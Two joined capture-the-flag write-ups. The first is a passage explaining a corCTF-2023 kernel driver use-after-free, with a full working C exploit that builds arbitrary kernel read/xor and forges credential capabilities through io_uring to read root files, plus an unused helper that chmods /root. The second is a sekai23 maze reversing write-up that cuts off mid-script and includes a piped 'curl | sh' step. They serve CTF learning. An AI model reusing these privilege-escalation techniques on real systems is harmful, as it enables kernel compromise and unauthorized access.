{ undefined8 flags; long lVar1; struct kcipher *kciph; uint *lock_p; kciph = *(struct kcipher **)(filp + 0xc0); lock_p = &kciph->lock; flags = _raw_spin_lock_irqsave(lock_p); if (kciph->str == (char *)0x0) { lVar1 = -2; _raw_spin_unlock_irqrestore(lock_p,flags); } else { do_encode(kciph); // applies cipher to kcipher->str if (kciph->size < count) { count = kciph->size; } if (0x7fffffff < count) { do { invalidInstructionException(); } while( true ); } lVar1 = _copy_to_user(user_buf,kciph->str,count); lVar1 = count - lVar1; _raw_spin_unlock_irqrestore(lock_p,flags); } return lVar1;}```
As wee see it just calls `do_encode()` function which does the requested ciphering:```
void do_encode(struct kcipher *kciph)
{ ulong idx; char *str; char cur_char; uint dispatch; /* encodes kciph->str byte-wise (len unchanged) */ dispatch = kciph->idx_cipher; str = kciph->str; if (dispatch == 2) { //.... } if (dispatch < 3) { if (dispatch == 0) { /* dispatch == 0, add(rot) */ //... } /* dispatch == 1, xor */ idx = 0; if (kciph->size == 0) { return; } do { str[idx] = str[idx] ^ kciph->byt; idx = idx + 1; } while (idx < kciph->size); return; } if (dispatch != 3) { if (dispatch != 4) { //...
```
## The BugLet's look closer into the `device_ioctl` function. Mainly these lines:``` // ... if (cmd == -0x12411100) { kciph = (struct kcipher *)kmalloc_trace(___unregister_chrdev,0x400dc0,0x60); // ... fd = anon_inode_getfd("kcipher-buf",kcipher_cipher_fops,kciph,2); // ... lVar1 = _copy_from_user(kciph,arg,8); if (lVar1 == 0) { if (kciph->ciph_id < 4) { // oh strncpy(kciph->ciph,(&ciphers)[kciph->ciph_id],0x40); return (long)fd; } lVar1 = -0x16; } kfree(kciph); // oh // no dangling reference cleaning is done... oh } return lVar1;```
The function calls `kfree(kciph)` if we submit `kciph->ciph_id=5`. But the reference `filp->private_data` is not cleared, file is not deleted, so we still can access it from userland with `read/write`!. Classic UAF.
The only caveat is in that case we don't get returned `fd` to the "anon" file. But it can be easily predicted: it is the `"max value of file descriptor in your program" + 1`. On mine its 4: 0, 1, 2 for stin, stdout, stderr and 3 for `/dev/kcipher`.Checked in practice.
## Taking the control
The first idea came to mind was to use `setxattr` to take control of dangling reference. Unfortunately it was disabled in provided kernel.
So we need to figure out another way to take ownership of our dangling reference.
Lucky for us, the function `cipher_write` makes allocation with `kmalloc` providing user-defined size:``` undefined8 cipher_write(long filp,undefined8 user_buf,ulong count)
{ undefined8 flags; char *str; undefined8 uVar1; struct kcipher *kciph; uint *lock_p; kciph = *(struct kcipher **)(filp + 0xc0); if (count < 0x1001) { // ... str = (char *)__kmalloc(count,0xcc0); kciph->str = str; if (str != (char *)0x0) { kciph->size = count; uVar1 = strncpy_from_user(str,user_buf,count); //...```
If we specify `count=sizeof(struct kcipher)=0x60` the `kmalloc` will allocate the dangling reference. So we have `kciph->str:=dangling struct kcipher`.
The function `strncpy_from_user` is kinda annoying because it is going to stop copying as soon as it encounters `0x00`-byte.So the overwritten `struct kcipher` should not contain 0x00-bytes. It is inappropriate for us because then `kciph->ciph_id` would have some big value and we won't be able to perform any kind of operation since `do_encode()` validates the value of `ciph_id`.
Here is how we can handle it. Imagine we have a data which contains null-bytes. Let's xor it on userland before submitting to kernel. So we xor it with byte it does not contain (0x41 was good in my case). Now the data does not contain null-bytes.We can submit it to kernel with `cipher_write` to another pre-created `cipher` file. It will set `kciph->str=another_kciph_but_invalid_since_xored_0x41`.If now we have `kciph->byt=0x41`, we can use `read()` on it which will xor the data again with byte 0x41 (so, de-xor it!). Exactly as needed.
So we have a control of dangling `struct kcipher`. Soooo much can be done now.
## Constructing primitives
### Basic setup```void basic_setup() { //... struct kcipher_req kciph = { .ciph_id = 1, // xor .byt = 0x41, // does not change the contents };
puts("[*] setup cfd[0]"); EXIT_ON_ERR(ioctl(fd, -0x12411100, &kciph) < 0); // should be ok cfd[0] = cfd_next++; // predicted
struct kcipher fake = { .ciph_id = 1, // xor .byt = 0x43, // for read: does not change contents .size = 0x1000, // size_t .str = 0x0, // arb addr, will be overwritten .lock = 0x0 };
// kfree(kciph of cfd[1]) puts("[*] setup cfd[1], trigger kfree"); kciph.ciph_id = 5; // trigger kfree in device_ioctl ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn cfd[1] = cfd_next++; // predicted
xor((char*)&fake, 0x41, sizeof(fake)); puts("[*] set cfd[0]->str := cfd[1], overwrite `struct kcipher` of cfd[1]"); EXIT_ON_ERR(write(cfd[0], &fake, sizeof(fake)) < 0); struct kcipher kcipher_cfd1; puts("[*] read (cfd[0]): de-xor cfd[1]"); prompt(); EXIT_ON_ERR(read(cfd[0], &kcipher_cfd1, sizeof(kcipher_cfd1)) < 0);
// kfree(kciph of cfd[2]) puts("[*] setup cfd[1]->str := cfd[2]"); kciph.ciph_id = 5; // trigger kfree in device_ioctl ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn cfd[2] = cfd_next++; // predicted
char buf[0x200]; memset(buf, 'X', sizeof(buf)); EXIT_ON_ERR(write(cfd[1], &buf, sizeof(buf)) < 0); // does not matter what to write, just link cfd[1]->str := cfd[2]}```
I'll just comment on that one. It sets up `cfd[0]->str := cfd[1]`. And `cfd[1]->str := cfd[2]`. So we control `cfd[1]` from `cfd[0]` and `cfd[2]` from `cfd[1]`.
It is important to note that `read()` from `cfd[0]` 0x41-xors the `cfd[1]`. So we need to always make the `read(cfd[0])` 2 times so `cfd[1]` is never invalidated.But `cfd[1]->byt=cfd[2]->byt=0x00`. So `read` from them is fine and need not to be called twice.
### Arbitrary "read"To construct arbitrary read we can just set up `kciph->str=desired_addr`, `kciph->size=desired_size`, `kciph->byt=0x00`, `kciph->ciph_id=1`.The idea is that `cipher_read` will xor the data with 0x00, which won't change it. Result will be submitted to userland, so we can "read".
```void arbread(uint64_t addr, char* buf, uint64_t size) { // requires cfd[1]->str = cfd[2], cfd[1]->byt=0x43 struct kcipher fake = { .ciph_id = 1, // xor .byt = 0x00, // for read: does not change contents .size = size, // size_t .str = addr, .lock = 0x0 };
xor(&fake, 0x43, sizeof(fake)); EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0); // de-xor struct kcipher fake_in_kernel; EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0); assert(fake_in_kernel.str == addr); assert(fake_in_kernel.size == size); assert(fake_in_kernel.byt == 0);
EXIT_ON_ERR(read(cfd[2], buf, size) < 0);}```
**P. S.**
As a side to note we can't say we constructed the arb. "read". It actually is a non-changing "write" because it does xor on data(even if nothing is changed).And it does matter because we won't be able to "read" from read-only memory sections.
@clubby789 noted that we can construct the **real** arb. read(with the ability to read read-only memory locations) by setting `ciph_id=5` so that dispatch validation in `do_encode` returns warning and not touches the memory. It does not raise error and still does `copy_to_user` so we are getting the data.
### Arbitrary "xor"For fun let's construct the arbitrary xor. This primitive would xor exactly 1 desired byte with 1 byte provided by us.
Just set `kciph->str=desired_addr`, `kciph->size=1`, `kciph->byt=byte_to_xor_with`, `kciph->ciph_id=1`.
```char arbxor(uint64_t addr, char byt) { struct kcipher fake = { .ciph_id = 1, // xor .byt = byt, // for read: does not change contents .size = 1, // size_t .str = addr, // arb addr, will be overwritten .lock = 0x0 };
xor(&fake, 0x43, sizeof(fake)); EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0); // de-xor struct kcipher fake_in_kernel; EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0); assert(fake_in_kernel.str == addr); assert(fake_in_kernel.size == 1); assert(fake_in_kernel.byt == byt);
char newbyte; EXIT_ON_ERR(read(cfd[2], &newbyte, 1) < 0); return newbyte;}```
### Arbitrary "write" (not needed for this exploitation)Our 2 primitives can be transformed into arbitrary write. My exploit didn't need it. Still let's quickly discuss how to "arbwrite" in case it's suitable for your exploitation. All you need is firstly to `current_byte = arbread(desired_addr, size=1)`. Then you do `arbxor(desired_addr, current_byte ^ desired_byte)`.
## ExploitationIt all came down to this part.
### kheap leakLeaking kheap is easy after our `basic_setup`: `cfd[0]->str := cfd[1]`, `cfd[1]->str := cfd[2]`. As soon as `read(cfd[0])` the returned data is actually the `struct kcipher` of `cfd[1]`.So `((struct kcipher*)data)->str` is the pointer to `struct kcipher` of `cfd[2]` which is allocated on kheap.
### io_uringThe technique came from author's solution of 'flipper' problem from recent zer0pts-2023. We set up `struct cred` on heap, then poison it setting `cred->cap_effective=CAP_DAC_READ_SEARCH`(=0x02) which lets user with this `cred` to read/write from arbitrary files by using `io_uring` and setting `sqe->personality=poisoned_personality`.
How do we find the address of `struct cred` to poison it? For security reasons it has it's own slab so we won't be able to allocate it with `kmalloc` in cipher_write(even if it kfree'd).
But wait... we have a arbitrary read. And we have a kernel heap pointer. Why not to just traverse all down the heap until we found one!
To make search simpler, let's allocate maaany of `struct cred`s (0xffff is the max number). ```void alloc_n_creds(struct io_uring* ring, size_t n_creds) { for (size_t i = 0; i < n_creds; i++) { struct __user_cap_header_struct cap_hdr = { .pid = 0, .version = _LINUX_CAPABILITY_VERSION_3 };
struct __user_cap_data_struct cap_data[2] = { {.effective = 0, .inheritable = 0, .permitted = 0}, {.effective = 0, .inheritable = 0, .permitted = 0} };
/* allocate new cred */ EXIT_ON_ERR(syscall(SYS_capset, &cap_hdr, (void *)cap_data) < 0);
/* register it for later use with io_uring */ EXIT_ON_ERR((personalities[i] = io_uring_register_personality(ring)) < 0); }}```
Then we can traverse the heap with our `arbread()` to find at least one of allocated `struct cred`s: we just iterate from leaked kheap address and as soon as we see the `0x3e8000003e8` it most probably is uid/euid of the of some `struct cred`.
Now poison this cred at offset 0x38(`cap_effective`) with `arbxor()`. Voila.
It remains to use the poisoned `cred`. We just iterate over all registered `personalities` and try to call `openat` with `io_uring`.
All but one of them will fail. One which corresponds to poisoned `struct cred` will succeed. So as soon as we hit the right one the `cqe->res` will return the flag file descriptor.```int flag_fd;for (size_t i = 0; i < N_CREDS; ++i) { struct io_uring_sqe* sqe = io_uring_get_sqe(&ring); io_uring_prep_openat(sqe, -1, "/root/flag.txt", O_RDONLY, 0); sqe->personality = personalities[i];
io_uring_submit(&ring);
struct io_uring_cqe* cqe; io_uring_wait_cqe(&ring, &cqe);
if (cqe->res >= 0) { puts("[*] !!!!!!!!! SUCCESS"); flag_fd = cqe->res; break; }
io_uring_cqe_seen(&ring, cqe);}
if (flag_fd > 0) { char flag[0x40] = {0}; read(flag_fd, flag, sizeof(flag)); printf("%s\n", flag);} else { printf("failed to gain the flag\n");}```
### Full exploit
```#include <stdio.h>#include <sys/ioctl.h>#include <stdint.h>#include <stdlib.h>#include <unistd.h>#include <sys/fcntl.h>#include <string.h>#include <sys/xattr.h>#include <assert.h>
#include <liburing.h>#include <sys/capability.h>#include <sys/syscall.h>
#include <sys/types.h>#include <sys/shm.h>
// no-SMEP?, no-SMAP?, KASLR
#define N_CREDS 0xffffint personalities[N_CREDS];
#define EXIT_ON_ERR(err_cond) \ if (err_cond) { \ perror("[***] " #err_cond); \ exit(1); \ }
void prompt();
int fd;int cfd[10];
struct kcipher_req { int ciph_id; char byt;};
struct kcipher { int ciph_id; int byt; uint64_t size; uint64_t str; uint64_t lock; char ciph[0x40];};
#define display_kcipher(kciph_buf, kciph_name) \ printf("[*] " #kciph_name "->ciph_id = 0x%x,\n", kciph_buf->ciph_id); \ printf("[*] " #kciph_name "->byt = 0x%x,\n", kciph_buf->byt); \ printf("[*] " #kciph_name "->size = 0x%llx,\n", kciph_buf->size); \ printf("[*] " #kciph_name "->str = 0x%llx\n", kciph_buf->str);
void xor(char* p, char byt, size_t size);
uint64_t kheap;uint64_t cred_addr;
void leak_kheap() { // requires cfd[0]->str = cfd[1], cfd[0]->byt=0x41 // requires cfd[1]->str = some-kheap (cfd[2] for example) struct kcipher cfd1; read(cfd[0], &cfd1, sizeof(cfd1)); read(cfd[0], &cfd1, sizeof(cfd1)); // de-xor kheap = cfd1.str; printf("[*] kheap: %llx\n", kheap);}
void arbread(uint64_t addr, char* buf, uint64_t size) { // requires cfd[1]->str = cfd[2], cfd[1]->byt=0x43 struct kcipher fake = { .ciph_id = 1, // xor .byt = 0x00, // for read: does not change contents .size = size, // size_t .str = addr, .lock = 0x0 };
xor(&fake, 0x43, sizeof(fake)); EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0); // de-xor struct kcipher fake_in_kernel; EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0); assert(fake_in_kernel.str == addr); assert(fake_in_kernel.size == size); assert(fake_in_kernel.byt == 0);
EXIT_ON_ERR(read(cfd[2], buf, size) < 0);}
char arbxor(uint64_t addr, char byt) { struct kcipher fake = { .ciph_id = 1, // xor .byt = byt, // for read: does not change contents .size = 1, // size_t .str = addr, // arb addr, will be overwritten .lock = 0x0 };
xor(&fake, 0x43, sizeof(fake)); EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0); // de-xor struct kcipher fake_in_kernel; EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0); assert(fake_in_kernel.str == addr); assert(fake_in_kernel.size == 1); assert(fake_in_kernel.byt == byt);
char newbyte; EXIT_ON_ERR(read(cfd[2], &newbyte, 1) < 0); return newbyte;}
void find_cred() { // requires `kheap`
uint64_t start = (kheap & ~0xfffff) + 0x100000; printf("[*] Searching for cred on kheap, start=0x%llx\n", start);
prompt(); uint32_t dump[0x2000]; arbread(start, &dump, sizeof(dump)); for (size_t i = 0; i < sizeof(dump) / sizeof(dump[0]); ++i) { uint64_t curptr = start + i * 4; printf("0x%llx: 0x%llx\n", curptr, dump[i]); if (dump[i] == 0x000003e8) { printf("[*] Found possibly cred: 0x%llx\n", curptr); cred_addr = curptr & ~0xf; return; } } exit(1);}
static int cfd_next;
void basic_setup() { printf("sizeof(kcipher)=0x%x\n", sizeof(struct kcipher)); // basic eye-check in runtime fd = open("/dev/kcipher", O_RDONLY); printf("fd: %d\n", fd); cfd_next = fd + 1;
prompt();
struct kcipher_req kciph = { .ciph_id = 1, // xor .byt = 0x41, // does not change the contents };
puts("[*] setup cfd[0]"); EXIT_ON_ERR(ioctl(fd, -0x12411100, &kciph) < 0); // should be ok cfd[0] = cfd_next++; // predicted
struct kcipher fake = { .ciph_id = 1, // xor .byt = 0x43, // for read: does not change contents .size = 0x1000, // size_t .str = 0x0, // arb addr, will be overwritten .lock = 0x0 };
// kfree(kciph) puts("[*] setup cfd[1], trigger kfree"); kciph.ciph_id = 5; // trigger kfree in device_ioctl ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn cfd[1] = cfd_next++; // predicted
xor((char*)&fake, 0x41, sizeof(fake)); puts("[*] set cfd[0]->str := cfd[1], overwrite `struct kcipher` of cfd[1]"); EXIT_ON_ERR(write(cfd[0], &fake, sizeof(fake)) < 0); struct kcipher kcipher_cfd1; puts("[*] read (cfd[0]): de-xor cfd[1]"); prompt(); EXIT_ON_ERR(read(cfd[0], &kcipher_cfd1, sizeof(kcipher_cfd1)) < 0);
puts("[*] setup cfd[1]->str := cfd[2]"); kciph.ciph_id = 5; // trigger kfree in device_ioctl ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn cfd[2] = cfd_next++; // predicted
char buf[0x200]; memset(buf, 'X', sizeof(buf)); EXIT_ON_ERR(write(cfd[1], &buf, sizeof(buf)) < 0); // does not matter what to write, just link cfd[1]->str := cfd[2]}
void modprobe_hax() { system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/roooot"); system("chmod +x /tmp/roooot"); system("echo -ne '#!/bin/sh\nchmod 777 -R /root\necho wiki' > /tmp/w\n"); system("chmod +x /tmp/w"); system("/tmp/roooot"); return;}
int main() { setbuf(stdout, 0);
basic_setup(); leak_kheap();
struct io_uring ring; io_uring_queue_init(1, &ring, 0); alloc_n_creds(&ring, N_CREDS);
find_cred(); printf("[*] cred_addr: 0x%llx\n", cred_addr);
puts("[*] flipping bit"); arbxor(cred_addr + 0x38, 0x02); // CAP_DAC_SEARCH
puts("[*] bruting creds"); int flag_fd = -1; for (size_t i = 0; i < N_CREDS; ++i) { // printf("[*] personality: %d", personalities[i]);
struct io_uring_sqe* sqe = io_uring_get_sqe(&ring); io_uring_prep_openat(sqe, -1, "/root/flag.txt", O_RDONLY, 0); sqe->personality = personalities[i];
io_uring_submit(&ring);
struct io_uring_cqe* cqe; io_uring_wait_cqe(&ring, &cqe);
if (cqe->res >= 0) { puts("[*] !!!!!!!!! SUCCESS"); flag_fd = cqe->res; break; } else { // printf("personality %d, error: %s\n", personalities[i], strerror(abs(cqe->res))); }
io_uring_cqe_seen(&ring, cqe); }
if (flag_fd > 0) { char flag[0x40] = {0}; read(flag_fd, flag, sizeof(flag)); printf("%s\n", flag); } else { printf("failed to gain the flag\n"); }
puts("[*] End"); prompt();
return 0;}
void prompt() { printf("Enter any key to continue: "); getchar();}
void xor(char* p, char byt, size_t size) { char* end = p + size; while (p != end) { *p ^= byt; ++p; }}
void alloc_n_creds(struct io_uring* ring, size_t n_creds) { for (size_t i = 0; i < n_creds; i++) { struct __user_cap_header_struct cap_hdr = { .pid = 0, .version = _LINUX_CAPABILITY_VERSION_3 };
struct __user_cap_data_struct cap_data[2] = { {.effective = 0, .inheritable = 0, .permitted = 0}, {.effective = 0, .inheritable = 0, .permitted = 0} };
/* allocate new cred */ EXIT_ON_ERR(syscall(SYS_capset, &cap_hdr, (void *)cap_data) < 0);
/* increment refcount so we don't free it afterwards*/ EXIT_ON_ERR((personalities[i] = io_uring_register_personality(ring)) < 0); }}```
Exploit is unstable because we make many unbacked assumptions. It works like 3/10 times.
The most unstable point is how we find `struct cred` on kheap in `find_cred()` function.And it's not the `0x3e8` part. It is how much should we read with `arbread()` beginning with `kheap` address so that we get `0x3e8` in our memory dump?Tuning this part will make it much more reliable.
## About the CTFThe corCTF-2023 was great. Problems were hard to solve, technical help was on time. Really recommend next year:)
I was the last solver of this chal. Finished 1 hour before the end. TeamItaly were first and solved it in less than 3.5 hours!
Special Thanks to [@clubby789](https://github.com/clubby789) for this chal and technical help during ctf. Thanks to [@willsroot](https://github.com/BitsByWill) for technical help and naming of this writeup.
## Links* [zer0pts-2023 'flipper' solution](https://github.com/zer0pts/zer0pts-ctf-2023-public/tree/master/pwn/flipper/solution) |
---title: "sekai23 rev/teyvat-travel-guide"publishDate: "04 Sep 2023"description: "Author: es3n1n, cpp.dog"tags: ["rev", "sekai23", "maze"]---
#### Description
Greetings, Travellers! Feel free to spend some time exploring the world of Teyvat, but remember...Some areas are too dangerous to explore alone.
Author: sahuang \31 solves
#### Overview
There is only one attachment for this challenge and it's an ELF binary file named `genshin`, If we execute it on our machine the program will first ask us to solve the PoW
```root@iusearchbtw:/mnt/c/Users/retard/Downloads# ./genshinproof of work: curl -sSfL https://pwn.red/pow | sh -s s.AAATbA==.a9A4A9Am4LadegCDAekr1A==solution:```
After we solve the pow we can see that the app is rendering some grid, safe to assume that it is some sort of a maze

At the time when I was solving it, I tried to press the W/A/S/Arrow keys and nothing really worked, the X character didn't move, eh which sucks, well, let's open it up in binja
#### Analysing
As soon as we open the `genshin` binary in binja we can see that this binary was created using the golang :sob:
In order to not waste time by analysing statically linked libc, we can find the main function that renders the maze by looking up the string xrefs


By looking at the function where we end up we can see that we're in the function that checks our proof of work

By looking for the xrefs to this function we can find the main function, the function that we were looking for, where all the magic happens
If we scroll the HLIL a bit we clearly see that it checks for the `R` and `D` keys

And if we try to press these keys while the program is running we can observe that our X is moving from cell to cell, R = x+1, D = y+1
The whole idea of this challenge is that there's a maze and each cell has its value (signed, meaning that it can either add pts or remove pts), each time you move from cell to cell your score gets increased/decreased.

The condition when the program would print us the flag is when we reach the `(47,47)` coordinates and our score is equal to `1`

#### Map generation
At the very beginning of this function, there's a suspicious loop in the range 48x48, it's suspicious only because the size of our maze is 48x48 too, if we look at it a bit we can see that it's saving some integers in the heap or something, weird.

The way how it's storing `(&var_480)[r8_1] = 0x30` and `*(&var_478 + (r8_1 << 3)) = 0x30` made me think that this is a struct that holds the map grid info since 0x30 in decimal is 48, so the grid row struct would be as follows:
```cppstruct row_t {public: std::int32_t size_x; std::int32_t size_y; std::int32_t* cells;}```
I guessed that the last field is storing the cells data only because of the way it was generating the `rax_1` property and saved it right after the row dimensions.
The whole reversed map generation algorithm pseudocode is:
```cppfor (int64_t i = 0; i s< 48; i = i_2 + 1) int64_t rax_1 // alloc cell data rax_1, rsi_1, rdi_1, zmm15 = sub_44cea0( rdi_1.d, rsi_1, i_2, 0x30, &data_4b6300, 0x30, arg1 )
int64_t var_4f0_1 = rax_1 for (int64_t j = 0; j s< 0x30; j = j + 1) int64_t rax_16 // generate the cell data (it returns a signed i32) // basically the number of points that this cell is // going to add to our score rax_16, rsi_1, rdi_1, zmm15 = sub_4a5120( data_57baa0, 0x33, rbp, arg1 ) rax_1 = var_4f0_1 *(rax_1 + (j << 3)) = rax_16 - 0x28 // save weight i_2 = i
int64_t r8_1 = i_2 * 3 // convert index to the offset (&var_480)[r8_1] = 0x30 // save x void var_478 *(&var_478 + (r8_1 << 3)) = 0x30 // save y (&s)[r8_1] = rax_1 // save generated cells```
#### Dumping the map
To be completely honest I didn't even analyse the `sub_4a5120` routine because it was producing the same map every time I restarted the map, that's why I cheated a bit and just dumped the map content using the Binary Ninja python API
```py
def main(): bv = BinaryViewType.get_view_of_file("genshin") dbg = DebuggerController(bv) if not dbg.launch(): print('oh noes!') return # as soon as the map gets generated dbg.run_to(0x4abbb6)
rsp = dbg.get_reg_value('rsp') map_data = rsp + 0x98
def get_qword(va): return int.from_bytes( dbg.read_memory( va, 8 ), 'little' )
def read_from_map(off): return get_qword(map_data + (off * 8))
for i in range(49): v4 = 3 * i limit1 = read_from_map(v4 + 1) row = read_from_map(v4 + 2) limit2 = read_from_map(v4) print('[ ', end='') for j in range(48): print('{:<18}'.format(hex(get_qword(row + (8 * j)))), end=', ') print(']')
main()```
And this produced us this output```# [ 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, ][ 0x0 , 0xffffffffffffffea, 0xffffffffffffffe9, 0xfffffffffffffffc, 0xffffffffffffffe9, 0xa , 0xffffffffffffffd8, 0xfffffffffffffff2, 0xfffffffffffffff5, 0xffffffffffffffde, 0xffffffffffffffd9, 0x2 , 0xffffffffffffffe8, 0xffffffffffffffff, 0x5 , 0xffffffffffffffe6, 0x3 , 0xfffffffffffffff1, 0xfffffffffffffff6, 0xffffffffffffffdf, 0xffffffffffffffde, 0xfffffffffffffffd, 0xa , 0x3 , 0xffffffffffffffe5, 0xffffffffffffffe6, 0x6 , 0xfffffffffffffff6, 0xffffffffffffffdc, 0xffffffffffffffdf, 0xffffffffffffffe3, 0xffffffffffffffe3, 0xffffffffffffffe1, 0xfffffffffffffff6, 0xfffffffffffffff3, 0x2 , 0xffffffffffffffe0, 0xffffffffffffffdb, 0xfffffffffffffffd, 0xa , 0xffffffffffffffdb, 0xffffffffffffffe6, 0x2 , 0xfffffffffffffff5, 0xffffffffffffffe5, 0xfffffffffffffff4, 0x6 , 0xffffffffffffffed, ]...```
#### Solving the maze
Initially, we thought that we start at (0,0) coordinates from this dumped map, but when we solved the maze and tested it, our score wasn't equal to -1, weird huh? I debugged it and found out that we start at 1,1 from this map, but it was a bit too late because we already coded some insane triple bfs solvers to verify our solutions, we basically wasted a huge amount of time only because of that. Too bad that i didn't debug it right at the beginning :shrug:
So after hours of trying to solve an impossible-to-solve maze, we got these:
The maze solver```pyteyvat = [...]cords = (0, 0)
def neg_to_pos(v): v = (~v) % (1 << 64) return v + 1
print(neg_to_pos(teyvat[47][47]))
g = [[0 for i in range(len(teyvat[0]))] for j in range(len(teyvat))]p = [[0 for i in range(len(teyvat[0]))] for j in range(len(teyvat))]
g[47][47] = 1 + neg_to_pos(teyvat[47][47])p[47][47] = (47, 47)
steps = [ (1, 0), (0, 1)]
q = [(47, 47)]while len(q) > 0: v = q.pop(0)
for s in steps: to = (v[0] - s[0], v[1] - s[1])
if to[0] < 0 or to[1] < 0: continue val = teyvat[to[1]][to[0]] if val > 0xffff: val = -neg_to_pos(val)
if g[to[1]][to[0]] != 0 and g[to[1]][to[0]] <= g[v[1]][v[0]] - val: continue
g[to[1]][to[0]] = g[v[1]][v[0]] - val p[to[1]][to[0]] = v q.append(to)
print()
p1 = [[0 for i in range(len(teyvat[0]))] for j in range(len(teyvat))]g1 = [[0 for i in range(len(teyvat[0]))] for j in range(len(teyvat))]g1[0][0] = 333p1[0][0] = (0, 0)q = [(0, 0)]while len(q) > 0: v = q.pop(0)
for s in steps: to = (v[0] + s[0], v[1] + s[1])
if to[0] > 47 or to[1] > 47: continue val = teyvat[to[1]][to[0]] if val > 0xffff: val = -neg_to_pos(val)
if g1[to[1]][to[0]] != 0 and g1[to[1]][to[0]] >= g1[v[1]][v[0]] + val: continue
p1[to[1]][to[0]] = v g1[to[1]][to[0]] = g1[v[1]][v[0]] + val q.append(to)
def brute_force(y, x, cur_pts, cur_path): if cur_pts < 0: return cur_path
if y == 47 and x == 47 and cur_pts == (1 + neg_to_pos(teyvat[47][47])): print(cur_path) exit(0)
if y == 48 or x == 48: return cur_path val = teyvat[y][x] if val > 0xffff: val = -neg_to_pos(val)
brute_force(y + 1, x, cur_pts + val, cur_path + [(x, y + 1)]) brute_force(y, x + 1, cur_pts + val, cur_path + [(x + 1, y)])
def test_path(y, x): # (x, y) is same cost point between g1 and g #print() f = [(x, y)] while f[-1] != (0, 0): v = f[-1] f.append(p1[v[1]][v[0]])
val = teyvat[y][x] if val > 0xffff: val = -neg_to_pos(val) f.reverse() brute_force(y, x, g1[y][x] - val, f)
for y in range(47, 0, -1): for x in range(47, 0, -1): if g[y][x] == g1[y][x]: test_path(y, x)```
Solution validator```pypath = [(0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (0, 5), (1, 5), (2, 5), (2, 6), (2, 7), (3, 7), (4, 7), (5, 7), (5, 8), (6, 8), (6, 9), (6, 10), (7, 10), (7, 11), (8, 11), (8, 12), (8, 13), (9, 13), (10, 13), (10, 14), (11, 14), (12, 14), (13, 14), (14, 14), (15, 14), (15, 15), (16, 15), (17, 15), (17, 16), (17, 17), (18, 17), (19, 17), (19, 18), (19, 19), (19, 20), (20, 20), (20, 21), (21, 21), (22, 21), (22, 22), (23, 22), (23, 23), (24, 23), (25, 23), (26, 23), (26, 24), (26, 25), (27, 25), (28, 25), (29, 25), (29, 26), (30, 26), (30, 27), (31, 27), (32, 27), (33, 27), (34, 27), (34, 28), (34, 29), (34, 30), (35, 30), (36, 30), (37, 30), (37, 31), (37, 32), (38, 32), (39, 32), (40, 32), (41, 32), (42, 32), (42, 33), (42, 34), (42, 35), (42, 36), (42, 37), (43, 37), (44, 37), (44, 38), (44, 39), (45, 39), (46, 39), (46, 40), (46, 41), (47, 41), (47, 42), (47, 43), (47, 44), (47, 45), (47, 46), (47, 47)]
cmd = []
for i in range(1, len(path)): prev = path[i - 1] cur = path[i]
if prev[1] < cur[1]: cmd.append('D') else: cmd.append('R')cur_pts = 333pos = (0, 0)
print(cmd)
MAP = [...]def neg_to_pos(v): v = (~v) % (1 << 64) return v + 1
for act in cmd: if act == "R": pos = (pos[0] + 1, pos[1]) else: pos = (pos[0], pos[1] + 1) val = MAP[pos[1]][pos[0]] if val > 0xffffff: val = -neg_to_pos(val)
cur_pts += val
if pos[1] == 0: print(cur_pts)
if cur_pts <= 0: print("TI EBUCHIY HUESOS, EBAL TVOY ROT") print(pos) break
print(cur_pts)print(pos)```
And after solving the maze with the right map grids we get the following path that we should send to the app, in order to get the score 1 at the end of the maze `(47, 47)`
```py['D', 'D', 'D', 'D', 'D', 'R', 'R', 'D', 'D', 'R', 'R', 'R', 'D', 'R', 'D', 'D', 'R', 'D', 'R', 'D', 'D', 'R', 'R', 'D', 'R', 'R', 'R', 'R', 'R', 'D', 'R', 'R', 'D', 'D', 'R', 'R', 'D', 'D', 'D', 'R', 'D', 'R', 'R', 'D', 'R', 'D', 'R', 'R', 'R', 'D', 'D', 'R', 'R', 'R', 'D', 'R', 'D', 'R', 'R', 'R', 'R', 'D', 'D', 'D', 'R', 'R', 'R', 'D', 'D', 'R', 'R', 'R', 'R', 'R', 'D', 'D', 'D', 'D', 'D', 'R', 'R', 'D', 'D', 'R', 'R', 'D', 'D', 'R', 'D', 'D', 'D', 'D', 'D', 'D']```
#### Solving
So now that we have everything to get the flag we just simply connect to the remote instance of this challenge, send our inputs and get the flag
```pyfrom pwn import *from subprocess import runfrom subprocess import PIPEfrom time import sleep
io = remote('chals.sekai.team', 7000)
